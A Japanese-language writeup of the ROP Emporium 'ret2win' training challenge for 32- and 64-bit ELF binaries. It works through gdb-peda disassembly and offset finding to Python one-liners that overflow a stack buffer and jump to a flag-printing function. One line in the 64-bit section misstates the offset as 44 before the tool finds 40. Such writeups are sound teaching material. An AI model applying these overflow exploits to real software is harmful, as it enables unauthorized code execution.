ROP Emporium ret2win writeup

# ROP Emporium

ROPの練習問題集

[ROP Emporium](https://ropemporium.com/)

解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。

## writeup link

- [ret2win](https://qiita.com/ham_o_o_/items/3d022bad3938fce53f15)
- [split](https://qiita.com/ham_o_o_/items/a84c90f033f20854ddd8)
- [callme](https://qiita.com/ham_o_o_/items/8aa7055c284feac4f6a1)
- [write4](https://qiita.com/ham_o_o_/items/a795741145986088a397)
- [badchars](https://qiita.com/ham_o_o_/items/14c59aa72cbd9ba9fab0)
- [fluff](https://qiita.com/ham_o_o_/items/42144f50a44daf8afbf5)

## ret2win32 writeup

32bitのELF実行ファイル。
とりあえず、実行してみる。
32byteのバッファサイズに50byteの入力しようとしているが、おかしいところはあるか？というメッセージが出力される。

```shell-session
# file ./ret2win32
./ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped
# 
# 
# 
# ./ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> test

Exiting
# 
```

gdbで解析する。

```
# gdb ./ret2win32 
```

実行ファイルのセキュリティ機構を確認する。
canaryが無効になっているので、Buffer Overflowの脆弱性が使えそう。

```shell
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 
```

ユーザ定義の関数は以下の三つ。

- main
- pwnme
- ret2win

```shell
gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x080483c0  _init
0x08048400  printf@plt
0x08048410  fgets@plt
0x08048420  puts@plt
0x08048430  system@plt
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  memset@plt
0x08048470  __gmon_start__@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  main
0x080485f6  pwnme
0x08048659  ret2win
0x08048690  __libc_csu_init
0x080486f0  __libc_csu_fini
0x080486f4  _fini
gdb-peda$
```

main関数の内容を確認してみる。
\<main+89>でpwnme関数を呼び出していることがわかる。

```
gdb-peda$ pdis main
Dump of assembler code for function main:
   0x0804857b <+0>:	lea    ecx,[esp+0x4]
   0x0804857f <+4>:	and    esp,0xfffffff0
   0x08048582 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048585 <+10>:	push   ebp
   0x08048586 <+11>:	mov    ebp,esp
   0x08048588 <+13>:	push   ecx
=> 0x08048589 <+14>:	sub    esp,0x4
   0x0804858c <+17>:	mov    eax,ds:0x804a064
   0x08048591 <+22>:	push   0x0
   0x08048593 <+24>:	push   0x2
   0x08048595 <+26>:	push   0x0
   0x08048597 <+28>:	push   eax
   0x08048598 <+29>:	call   0x8048450 <setvbuf@plt>
   0x0804859d <+34>:	add    esp,0x10
   0x080485a0 <+37>:	mov    eax,ds:0x804a040
   0x080485a5 <+42>:	push   0x0
   0x080485a7 <+44>:	push   0x2
   0x080485a9 <+46>:	push   0x0
   0x080485ab <+48>:	push   eax
   0x080485ac <+49>:	call   0x8048450 <setvbuf@plt>
   0x080485b1 <+54>:	add    esp,0x10
   0x080485b4 <+57>:	sub    esp,0xc
   0x080485b7 <+60>:	push   0x8048710
   0x080485bc <+65>:	call   0x8048420 <puts@plt>
   0x080485c1 <+70>:	add    esp,0x10
   0x080485c4 <+73>:	sub    esp,0xc
   0x080485c7 <+76>:	push   0x8048728
   0x080485cc <+81>:	call   0x8048420 <puts@plt>
   0x080485d1 <+86>:	add    esp,0x10
   0x080485d4 <+89>:	call   0x80485f6 <pwnme>
   0x080485d9 <+94>:	sub    esp,0xc
   0x080485dc <+97>:	push   0x8048730
   0x080485e1 <+102>:	call   0x8048420 <puts@plt>
   0x080485e6 <+107>:	add    esp,0x10
   0x080485e9 <+110>:	mov    eax,0x0
   0x080485ee <+115>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x080485f1 <+118>:	leave  
   0x080485f2 <+119>:	lea    esp,[ecx-0x4]
   0x080485f5 <+122>:	ret    
End of assembler dump.
gdb-peda$ 
```

pwnme関数の内容を確認してみる。

```
gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
   0x080485f6 <+0>:	push   ebp
   0x080485f7 <+1>:	mov    ebp,esp
   0x080485f9 <+3>:	sub    esp,0x28
   0x080485fc <+6>:	sub    esp,0x4
   0x080485ff <+9>:	push   0x20
   0x08048601 <+11>:	push   0x0
   0x08048603 <+13>:	lea    eax,[ebp-0x28]
   0x08048606 <+16>:	push   eax
   0x08048607 <+17>:	call   0x8048460 <memset@plt>
   0x0804860c <+22>:	add    esp,0x10
   0x0804860f <+25>:	sub    esp,0xc
   0x08048612 <+28>:	push   0x804873c
   0x08048617 <+33>:	call   0x8048420 <puts@plt>
   0x0804861c <+38>:	add    esp,0x10
   0x0804861f <+41>:	sub    esp,0xc
   0x08048622 <+44>:	push   0x80487bc
   0x08048627 <+49>:	call   0x8048420 <puts@plt>
   0x0804862c <+54>:	add    esp,0x10
   0x0804862f <+57>:	sub    esp,0xc
   0x08048632 <+60>:	push   0x8048821
   0x08048637 <+65>:	call   0x8048400 <printf@plt>
   0x0804863c <+70>:	add    esp,0x10
   0x0804863f <+73>:	mov    eax,ds:0x804a060
   0x08048644 <+78>:	sub    esp,0x4
   0x08048647 <+81>:	push   eax
   0x08048648 <+82>:	push   0x32
   0x0804864a <+84>:	lea    eax,[ebp-0x28]
   0x0804864d <+87>:	push   eax
   0x0804864e <+88>:	call   0x8048410 <fgets@plt>
   0x08048653 <+93>:	add    esp,0x10
   0x08048656 <+96>:	nop
   0x08048657 <+97>:	leave  
   0x08048658 <+98>:	ret    
End of assembler dump.
gdb-peda$ 
```

memsetで確保しているサイズは0x20(32byte)。
[memset](http://www9.plala.or.jp/sgwr-t/lib/memset.html)

```shell
[-------------------------------------code-------------------------------------]
   0x8048601 <pwnme+11>:	push   0x0
   0x8048603 <pwnme+13>:	lea    eax,[ebp-0x28]
   0x8048606 <pwnme+16>:	push   eax
=> 0x8048607 <pwnme+17>:	call   0x8048460 <memset@plt>
   0x804860c <pwnme+22>:	add    esp,0x10
   0x804860f <pwnme+25>:	sub    esp,0xc
   0x8048612 <pwnme+28>:	push   0x804873c
   0x8048617 <pwnme+33>:	call   0x8048420 <puts@plt>
Guessed arguments:
arg[0]: 0xffffd2a0 --> 0xffffd2d8 --> 0x0 
arg[1]: 0x0 
arg[2]: 0x20 (' ')
arg[3]: 0x7 
```

fgetsでの入力サイズは0x32(50byte)。

[fgets](https://www.k-cube.co.jp/wakaba/server/func/fgets.html)

ファイル実行時のメッセージにある通り、32byteのサイズが確保されているが、50byteの書き込みが可能であることが確認できた。
ただ、main関数/pwnme関数の両方からret2win関数は実行されていなかった。

```shell
[-------------------------------------code-------------------------------------]
   0x8048648 <pwnme+82>:	push   0x32
   0x804864a <pwnme+84>:	lea    eax,[ebp-0x28]
   0x804864d <pwnme+87>:	push   eax
=> 0x804864e <pwnme+88>:	call   0x8048410 <fgets@plt>
   0x8048653 <pwnme+93>:	add    esp,0x10
   0x8048656 <pwnme+96>:	nop
   0x8048657 <pwnme+97>:	leave  
   0x8048658 <pwnme+98>:	ret
Guessed arguments:
arg[0]: 0xffffd2a0 --> 0x0 
arg[1]: 0x32 ('2')
arg[2]: 0xf7fb15c0 --> 0xfbad2088 
```

ret2win関数を確認してみる。

```
gdb-peda$ pdis ret2win
Dump of assembler code for function ret2win:
   0x08048659 <+0>:	push   ebp
   0x0804865a <+1>:	mov    ebp,esp
   0x0804865c <+3>:	sub    esp,0x8
   0x0804865f <+6>:	sub    esp,0xc
   0x08048662 <+9>:	push   0x8048824
   0x08048667 <+14>:	call   0x8048400 <printf@plt>
   0x0804866c <+19>:	add    esp,0x10
   0x0804866f <+22>:	sub    esp,0xc
   0x08048672 <+25>:	push   0x8048841
   0x08048677 <+30>:	call   0x8048430 <system@plt>
   0x0804867c <+35>:	add    esp,0x10
   0x0804867f <+38>:	nop
   0x08048680 <+39>:	leave  
   0x08048681 <+40>:	ret    
End of assembler dump.
gdb-peda$ 
```

printfの引数を確認してみると、flagを出力する前のメッセージのようなものが見える。

```shell
gdb-peda$ x/s 0x8048824
0x8048824:	"Thank you! Here's your flag:"
gdb-peda$ 
```

systemの引数を確認すると、"/bin/cat flag.txt"が実行されることがわかる。
したがって、ret2win関数を実行できればフラグが出力される。

```shell
gdb-peda$ x/s 0x8048841
0x8048841:	"/bin/cat flag.txt"
gdb-peda$ 
```

pattc / pattoコマンドを使用してリターンアドレスまでの入力サイズを確認する。
リターンアドレスまでのサイズは44byteであることがわかる。

```shell
gdb-peda$ pattc 60
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA'
gdb-peda$ 
```

```shell
[-------------------------------------code-------------------------------------]
   0x8048653 <pwnme+93>:	add    esp,0x10
   0x8048656 <pwnme+96>:	nop
   0x8048657 <pwnme+97>:	leave  
=> 0x8048658 <pwnme+98>:	ret    
   0x8048659 <ret2win>:	push   ebp
   0x804865a <ret2win+1>:	mov    ebp,esp
   0x804865c <ret2win+3>:	sub    esp,0x8
   0x804865f <ret2win+6>:	sub    esp,0xc
[------------------------------------stack-------------------------------------]
0000| 0xffffd2cc ("AFAAb")
0004| 0xffffd2d0 --> 0xf7fe0062 (adc    al,0x83)
0008| 0xffffd2d4 --> 0xffffd2f0 --> 0x1 
0012| 0xffffd2d8 --> 0x0 
0016| 0xffffd2dc --> 0xf7df87e1 (<__libc_start_main+241>:	add    esp,0x10)
0020| 0xffffd2e0 --> 0xf7fb1000 --> 0x1d6d6c 
0024| 0xffffd2e4 --> 0xf7fb1000 --> 0x1d6d6c 
0028| 0xffffd2e8 --> 0x0 
[------------------------------------------------------------------------------]
```

```shell
gdb-peda$ patto AFAA
AFAA found at offset: 44
gdb-peda$ 
```

44byteのダミー文字とret2win関数のアドレスを入力値とする。
ret2winのアドレスはリトルエンディアンに注意。

```
# python -c "print 'A'*44 + '\x59\x86\x04\x08'" | ./ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Illegal instruction
# 
```

## ret2win writeup

ret2win32の64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。

```
# file ./ret2win
./ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a871295b6234edb261710bcc73a8c03e3c0f601d, not stripped
# 
# 
# 
# ./ret2win 
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> test

Exiting
# 
```

実行ファイルのセキュリティ機構を確認する。
ret2win32と同様でcanaryが無効になっているので、Buffer Overflowの脆弱性が使えそう。

```shell
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 
```

ユーザ定義の関数は以下の三つ。

- main
- pwnme
- ret2win

```shell
gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x00000000004005a0  _init
0x00000000004005d0  puts@plt
0x00000000004005e0  system@plt
0x00000000004005f0  printf@plt
0x0000000000400600  memset@plt
0x0000000000400610  __libc_start_main@plt
0x0000000000400620  fgets@plt
0x0000000000400630  setvbuf@plt
0x0000000000400640  __gmon_start__@plt
0x0000000000400650  _start
0x0000000000400680  deregister_tm_clones
0x00000000004006c0  register_tm_clones
0x0000000000400700  __do_global_dtors_aux
0x0000000000400720  frame_dummy
0x0000000000400746  main
0x00000000004007b5  pwnme
0x0000000000400811  ret2win
0x0000000000400840  __libc_csu_init
0x00000000004008b0  __libc_csu_fini
0x00000000004008b4  _fini
gdb-peda$ 
```

main関数の内容を確認してみる。
\<main+89>でpwnme関数を呼び出していることがわかる。

```
gdb-peda$ pdis main
Dump of assembler code for function main:
   0x0000000000400746 <+0>:	push   rbp
   0x0000000000400747 <+1>:	mov    rbp,rsp
   0x000000000040074a <+4>:	mov    rax,QWORD PTR [rip+0x20090f]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400751 <+11>:	mov    ecx,0x0
   0x0000000000400756 <+16>:	mov    edx,0x2
   0x000000000040075b <+21>:	mov    esi,0x0
   0x0000000000400760 <+26>:	mov    rdi,rax
   0x0000000000400763 <+29>:	call   0x400630 <setvbuf@plt>
   0x0000000000400768 <+34>:	mov    rax,QWORD PTR [rip+0x200911]        # 0x601080 <stderr@@GLIBC_2.2.5>
   0x000000000040076f <+41>:	mov    ecx,0x0
   0x0000000000400774 <+46>:	mov    edx,0x2
   0x0000000000400779 <+51>:	mov    esi,0x0
   0x000000000040077e <+56>:	mov    rdi,rax
   0x0000000000400781 <+59>:	call   0x400630 <setvbuf@plt>
   0x0000000000400786 <+64>:	mov    edi,0x4008c8
   0x000000000040078b <+69>:	call   0x4005d0 <puts@plt>
   0x0000000000400790 <+74>:	mov    edi,0x4008e0
   0x0000000000400795 <+79>:	call   0x4005d0 <puts@plt>
   0x000000000040079a <+84>:	mov    eax,0x0
   0x000000000040079f <+89>:	call   0x4007b5 <pwnme>
   0x00000000004007a4 <+94>:	mov    edi,0x4008e8
   0x00000000004007a9 <+99>:	call   0x4005d0 <puts@plt>
   0x00000000004007ae <+104>:	mov    eax,0x0
   0x00000000004007b3 <+109>:	pop    rbp
   0x00000000004007b4 <+110>:	ret    
End of assembler dump.
gdb-peda$ 
```

pwnme関数の内容を確認してみる。

```
gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
   0x00000000004007b5 <+0>:	push   rbp
   0x00000000004007b6 <+1>:	mov    rbp,rsp
   0x00000000004007b9 <+4>:	sub    rsp,0x20
   0x00000000004007bd <+8>:	lea    rax,[rbp-0x20]
   0x00000000004007c1 <+12>:	mov    edx,0x20
   0x00000000004007c6 <+17>:	mov    esi,0x0
   0x00000000004007cb <+22>:	mov    rdi,rax
   0x00000000004007ce <+25>:	call   0x400600 <memset@plt>
   0x00000000004007d3 <+30>:	mov    edi,0x4008f8
   0x00000000004007d8 <+35>:	call   0x4005d0 <puts@plt>
   0x00000000004007dd <+40>:	mov    edi,0x400978
   0x00000000004007e2 <+45>:	call   0x4005d0 <puts@plt>
   0x00000000004007e7 <+50>:	mov    edi,0x4009dd
   0x00000000004007ec <+55>:	mov    eax,0x0
   0x00000000004007f1 <+60>:	call   0x4005f0 <printf@plt>
   0x00000000004007f6 <+65>:	mov    rdx,QWORD PTR [rip+0x200873]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x00000000004007fd <+72>:	lea    rax,[rbp-0x20]
   0x0000000000400801 <+76>:	mov    esi,0x32
   0x0000000000400806 <+81>:	mov    rdi,rax
   0x0000000000400809 <+84>:	call   0x400620 <fgets@plt>
   0x000000000040080e <+89>:	nop
   0x000000000040080f <+90>:	leave  
   0x0000000000400810 <+91>:	ret    
End of assembler dump.
gdb-peda$ 
```

memsetで確保しているサイズは0x20(32byte)。
[memset](http://www9.plala.or.jp/sgwr-t/lib/memset.html)

```shell
[-------------------------------------code-------------------------------------]
   0x4007c1 <pwnme+12>:	mov    edx,0x20
   0x4007c6 <pwnme+17>:	mov    esi,0x0
   0x4007cb <pwnme+22>:	mov    rdi,rax
=> 0x4007ce <pwnme+25>:	call   0x400600 <memset@plt>
   0x4007d3 <pwnme+30>:	mov    edi,0x4008f8
   0x4007d8 <pwnme+35>:	call   0x4005d0 <puts@plt>
   0x4007dd <pwnme+40>:	mov    edi,0x400978
   0x4007e2 <pwnme+45>:	call   0x4005d0 <puts@plt>
Guessed arguments:
arg[0]: 0x7fffffffe110 --> 0x0 
arg[1]: 0x0 
arg[2]: 0x20 (' ')
```

fgetsでの入力サイズは0x32(50byte)。

[fgets](https://www.k-cube.co.jp/wakaba/server/func/fgets.html)

ファイル実行時のメッセージにある通り、32byteのサイズが確保されているが、50byteの書き込みが可能であることが確認できた。
ただ、main関数/pwnme関数の両方からret2win関数は実行されていなかった。

```shell
[-------------------------------------code-------------------------------------]
   0x4007fd <pwnme+72>:	lea    rax,[rbp-0x20]
   0x400801 <pwnme+76>:	mov    esi,0x32
   0x400806 <pwnme+81>:	mov    rdi,rax
=> 0x400809 <pwnme+84>:	call   0x400620 <fgets@plt>
   0x40080e <pwnme+89>:	nop
   0x40080f <pwnme+90>:	leave  
   0x400810 <pwnme+91>:	ret    
   0x400811 <ret2win>:	push   rbp
Guessed arguments:
arg[0]: 0x7fffffffe110 --> 0x0 
arg[1]: 0x32 ('2')
arg[2]: 0x7ffff7fafa00 --> 0xfbad2088 
```

ret2win関数を確認してみる。

```
gdb-peda$ pdis ret2win
Dump of assembler code for function ret2win:
   0x0000000000400811 <+0>:	push   rbp
   0x0000000000400812 <+1>:	mov    rbp,rsp
   0x0000000000400815 <+4>:	mov    edi,0x4009e0
   0x000000000040081a <+9>:	mov    eax,0x0
   0x000000000040081f <+14>:	call   0x4005f0 <printf@plt>
   0x0000000000400824 <+19>:	mov    edi,0x4009fd
   0x0000000000400829 <+24>:	call   0x4005e0 <system@plt>
   0x000000000040082e <+29>:	nop
   0x000000000040082f <+30>:	pop    rbp
   0x0000000000400830 <+31>:	ret    
End of assembler dump.
gdb-peda$ 
```

printfの引数を確認してみると、flagを出力する前のメッセージのようなものが見える。
64bitでの引数はstackではなく、レジスタに格納されるので注意。

```shell
gdb-peda$ x/s 0x4009e0
0x4009e0:	"Thank you! Here's your flag:"
gdb-peda$ 
```

systemの引数を確認すると、"/bin/cat flag.txt"が実行されることがわかる。
したがって、ret2win関数を実行できればフラグが出力される。

```shell
gdb-peda$ x/s 0x4009fd
0x4009fd:	"/bin/cat flag.txt"
gdb-peda$ 
```

pattc / pattoコマンドを使用してリターンアドレスまでの入力サイズを確認する。
リターンアドレスまでのサイズは44byteであることがわかる。

```shell
gdb-peda$ pattc 60
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA'
gdb-peda$ 
```

```shell
[-------------------------------------code-------------------------------------]
   0x400809 <pwnme+84>:	call   0x400620 <fgets@plt>
   0x40080e <pwnme+89>:	nop
   0x40080f <pwnme+90>:	leave  
=> 0x400810 <pwnme+91>:	ret    
   0x400811 <ret2win>:	push   rbp
   0x400812 <ret2win+1>:	mov    rbp,rsp
   0x400815 <ret2win+4>:	mov    edi,0x4009e0
   0x40081a <ret2win+9>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe138 ("AA0AAFAAb")
0008| 0x7fffffffe140 --> 0x400062 --> 0x1f8000000000000 
0016| 0x7fffffffe148 --> 0x7ffff7e1cbbb (<__libc_start_main+235>:	mov    edi,eax)
0024| 0x7fffffffe150 --> 0x0 
0032| 0x7fffffffe158 --> 0x7fffffffe228 --> 0x7fffffffe51e ("/root/ROP_Emporium/ret2win/ret2win")
0040| 0x7fffffffe160 --> 0x100040000 
0048| 0x7fffffffe168 --> 0x400746 (<main>:	push   rbp)
0056| 0x7fffffffe170 --> 0x0 
```

```shell
gdb-peda$ patto  AA0AAFAA
AA0AAFAA found at offset: 40
gdb-peda$ 
```

40byteのダミー文字とret2win関数のアドレスを入力値とする。
リターンアドレスは64bit。
ret2winのアドレスはリトルエンディアンに注意。

```
# python -c "print 'A'*40 +'\x11\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win 
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault
# 
```